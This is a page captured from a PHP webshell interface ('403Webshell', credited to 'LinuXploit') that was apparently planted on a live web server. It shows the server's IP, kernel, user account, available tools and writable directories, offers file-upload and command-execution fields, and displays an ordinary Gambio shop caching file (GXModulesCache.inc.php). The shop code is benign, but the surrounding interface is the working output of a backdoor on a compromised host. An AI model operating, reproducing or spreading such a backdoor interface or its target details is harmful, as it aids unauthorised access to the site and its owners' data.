403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/core/caching/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/core/caching/GXModulesCache.inc.php
<?php
/* --------------------------------------------------------------
   GXModulesCache.inc.php 2019-09-20
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2018 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

/**
 * Class GXModulesCache
 */
class GXModulesCache
{
	/**
	 * @var array
	 */
	private static $allowedDirectories = [
		'/Classes/',
		'/Shop/',
		'/Admin/',
		'/StyleEdit/',
		'/Build/',
		'/TextPhrases/'
	];
	
	/**
	 * Returns an array of all files in the GXModules directory as absolute file path.
	 *
	 * Notice: Only files are considered, so empty directories are skipped.
	 *
	 * @return array
	 */
	public static function getFiles()
	{
		$dataCache = DataCache::get_instance();
		$cacheKey  = 'GXModules-files';
		
		$files = [];
		if($dataCache->key_exists($cacheKey, true))
		{
			$files = $dataCache->get_data($cacheKey, true);
		}
		else
		{
            $directoryContent = self::rglob(DIR_FS_CATALOG . 'GXModules/*');
            
            foreach ($directoryContent as $file) {
                $filename = basename($file);
                
                if ($filename !== '.' && $filename !== '..' && !is_dir($file)
                    && (stripos($filename, 'GXModule.json') !== false
                        || self::isAllowedDirectory($file))) {
                    $files[] = str_replace('\\', '/', (string)$file);
                }
            }
            
            $dataCache->set_data($cacheKey, $files, true);
		}
		
		return $files;
	}
	
	
	/**
	 * Returns an array of installed module files in the GXModules directory as absolute file path.
	 *
	 * Notice: Only files are considered, so empty directories are skipped.
	 *
	 * @return array
	 */
	public static function getInstalledModuleFiles()
	{
		static $checkedMatches;
		if($checkedMatches === null)
		{
			$checkedMatches = [];
		}
		
		$allFiles              = self::getFiles();
		$installedModulesFiles = [];
		
		$dataCache = DataCache::get_instance();
		$cacheKey  = 'installed-GXModules-files';
		if($dataCache->key_exists($cacheKey, true))
		{
			return $dataCache->get_data($cacheKey, true);
		}
		elseif(!isset($GLOBALS['db_link']))
		{
			return $allFiles;
		}
		
		foreach($allFiles as $file)
		{
			$moduleIsActive = true;
			preg_match("/GXModules\/([^\/]+\/[^\/]+)/", $file, $matches);
			
			if(!array_key_exists($matches[0], $checkedMatches) && is_dir(DIR_FS_CATALOG . $matches[0])
			   && file_exists(DIR_FS_CATALOG . $matches[0] . '/GXModule.json'))
			{
				$gxModuleConfig = json_decode(file_get_contents(DIR_FS_CATALOG . $matches[0] . '/GXModule.json'), true);
				if(array_key_exists('forceIncludingFiles', $gxModuleConfig) && $gxModuleConfig['forceIncludingFiles'])
				{
					$moduleIsActive = true;
				}
				else
				{
					$namespace            = 'modules/' . str_replace('/', '', $matches[1]);
					$configurationStorage = MainFactory::create('ConfigurationStorage', $namespace);
					$moduleIsActive       = (bool)$configurationStorage->get('active');
				}
			}
			elseif(array_key_exists($matches[0], $checkedMatches))
			{
				$moduleIsActive = $checkedMatches[$matches[0]];
			}
			
			if($moduleIsActive)
			{
				$installedModulesFiles[] = str_replace('\\', '/', (string)$file);
			}
			
			$checkedMatches[$matches[0]] = $moduleIsActive;
		}
		
		$dataCache->set_data($cacheKey, $installedModulesFiles, true);
		
		# Clear MainFactory cache to remove Overloads that may be exist in that cache.
		$dataCache->clear_cache('MainFactory-create');
		$dataCache->clear_cache('MainFactory-load');
		$dataCache->clear_cache('MainFactory-loadOrigin');
		
		return $installedModulesFiles;
	}
	
	
	/**
	 * Checks if the directory contains an allowed directory for GXModules files
	 *
	 * @param $directory
	 *
	 * @return bool
	 */
	private static function isAllowedDirectory($directory)
	{
		$returnValue = false;
		
		$directory = str_replace('\\', '/', $directory);
		
		foreach(self::$allowedDirectories as $allowedDirectory)
		{
			if(stripos($directory,$allowedDirectory) !== false)
            {
                return true;
            }
		}
		
		return $returnValue;
	}
    
    
    /**
     * Scans the given directory recursivly and returns the result as an array. 
     * 
     * @param $pattern
     *
     * @return array
     */
    private static function rglob($pattern)
    {
        $files = glob($pattern);
        foreach (glob(dirname($pattern) . '/*', GLOB_ONLYDIR | GLOB_NOSORT) as $dir) {
            $dir = str_replace('\\', '/', $dir);
            if(strpos($dir, '/node_modules') === false) {
                $files = array_merge($files, self::rglob($dir . '/' . basename($pattern)));
            }
        }
        
        return $files;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit